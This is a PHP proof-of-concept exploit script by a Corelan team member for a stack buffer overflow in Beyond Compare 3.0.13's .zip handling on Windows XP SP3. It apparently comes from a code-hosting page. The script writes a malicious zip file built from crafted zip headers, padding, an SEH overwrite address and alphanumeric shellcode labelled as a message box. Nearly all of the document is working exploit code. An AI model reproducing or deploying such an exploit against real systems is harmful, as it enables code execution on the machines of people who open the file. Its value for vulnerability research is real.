85 lines
No EOL
4 KiB
PHP
85 lines
No EOL
4 KiB
PHP
<?php
|
|
/********************************************************************************
|
|
Beyond Compare 3.0.13 b9599 (.zip) 0day Stack Buffer Overflow PoC exploit
|
|
Author: mr_me - http://net-ninja.net/
|
|
Download: http://es.kioskea.net/remote/download_get.php?ID=2321
|
|
Platform: Windows XP sp3
|
|
Advisory: http://www.corelan.be:8800/advisories.php?id=10-036
|
|
Patched in latest version and previous versions
|
|
Greetz to: Corelan Security Team
|
|
http://www.corelan.be:8800/index.php/security/corelan-team-members/
|
|
Thanks to rick2600 and corelanc0d3r for the getPc !
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
Script provided 'as is', without any warranty.
|
|
Use for educational purposes only.
|
|
Do not use this code to do anything illegal !
|
|
|
|
Note : you are not allowed to edit/modify this code.
|
|
If you do, Corelan cannot be held responsible for any damages this may cause.
|
|
********************************************************************************/
|
|
|
|
echo "
|
|
|------------------------------------------------------------------|
|
|
| __ __ |
|
|
| _________ ________ / /___ _____ / /____ ____ _____ ___ |
|
|
| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |
|
|
| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |
|
|
| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |
|
|
| |
|
|
| http://www.corelan.be:8800 |
|
|
| security@corelan.be |
|
|
| |
|
|
|-------------------------------------------------[ EIP Hunters ]--|
|
|
~~> Beyond compare 3.0.13 b9599 (.zip) BOF PoC exploit <~~
|
|
";
|
|
|
|
// local file header
|
|
$lf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE".
|
|
"\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x08\x00\x00";
|
|
|
|
// central directory file header
|
|
$cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7".
|
|
"\xAC\xCE\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x08".
|
|
"\x00\x00\x00\x00\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x00\x00";
|
|
|
|
// end of central directory record
|
|
$efcdr_record = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00".
|
|
"\x42\x08\x00\x00\x32\x08\x00\x00\x00\x00";
|
|
|
|
// corelan security team - msgbox
|
|
$sc = "VYhffffk4diFkDql02Dqm0D1CuEE5n3l0G3j3C0S1p02024B0W3y2G2u4D0k4q3c".
|
|
"0615092E0T0H0l4s4u1k0A2p3G0Y3W3A0u2K2J0P2o4E3U2L370w3N5O3h2p1O2w1o3v4".
|
|
"T3P4n1K3v4n0z3Y0S0M2k5L4J0m4Y2D103V2s4K4t0Q0U0P7o2L4P2O8K3r0j0y0N0s37".
|
|
"2l0m5K0Y8M0S5p4V110Q2J182s7M2K344J3j04VYVTX10X41PZ41H4A4I1TA71TADVTZ3".
|
|
"2PZNBFZDQC02DQD0D13DJEON4F1W9M490R0P08654E2M9Y2F64346K5K450115MN2G0N0".
|
|
"B0L5C5DKO106737KO9W8P0O2L1L0P184E3U0Q8P1G3L5O9R601E671O9W343QOO113RJO".
|
|
"LK8M640M1K3WOL1W4Y2O613V2I4K5C0R0S0PMO2O3W2O8K9R1Z1K0S1H3PLMKM5KKK8M0".
|
|
"S4JJL15612J1267KM2K4D903K03VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQ".
|
|
"AIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYA".
|
|
"ZBABABABAB30APB944JB9K7YMY7Y7O1SKWKQ0X6QLT8Y2TMTJT1K3S7SKT013KLUKS3KL".
|
|
"U3QJR1Y04MT4S1Y6L9UKTLX0I1P096TJPML5N0E5K4O6LMP07MW038R9WJT9K0J4M5NOK".
|
|
"KKMS3N0L4L8S1N8NLW11JV1V6YKO1SMO1P2OMNKOMK4N8QOO0KKR104POLLZ3XLWJXML6".
|
|
"SKN03MQMK0GMQ1ZLZ8K6Y4LKPA";
|
|
|
|
/*
|
|
Corelan's - getPc routine
|
|
0424F020 EB 05 JMP SHORT 0424F027
|
|
0424F022 5E POP ESI
|
|
0424F023 41 INC ECX
|
|
0424F024 FFD6 CALL ESI
|
|
0424F026 41 INC ECX
|
|
0424F027 E8 F6FFFFFF CALL 0424F022
|
|
*/
|
|
|
|
// ascii armoured & mangled
|
|
$getPc = "\x89\x05\x5e\x41\x98\x99\x41\x8a\x94\x98\x98\x98";
|
|
$sEh = "\x0d\x05\x01\x10"; // add esp, 8; retn --> 7zxa.dll
|
|
$trigger = "\x3a";
|
|
|
|
// build the PoC
|
|
$junk = str_repeat("\x41", 2064)."\x2e\x74\x78\x74";
|
|
$lol = str_repeat("\x41", 223)."\x41\x73\x06\x41".$sEh.$getPc.$sc;
|
|
$lol .= str_repeat("\x41",2062-strlen($lol)).$trigger."\x2e\x74\x78\x74";
|
|
$_____boooom = $lf_header.$junk.$cdf_header.$lol.$efcdr_record;
|
|
file_put_contents("cst-beyondcompare.zip",$_____boooom);
|
|
?>
|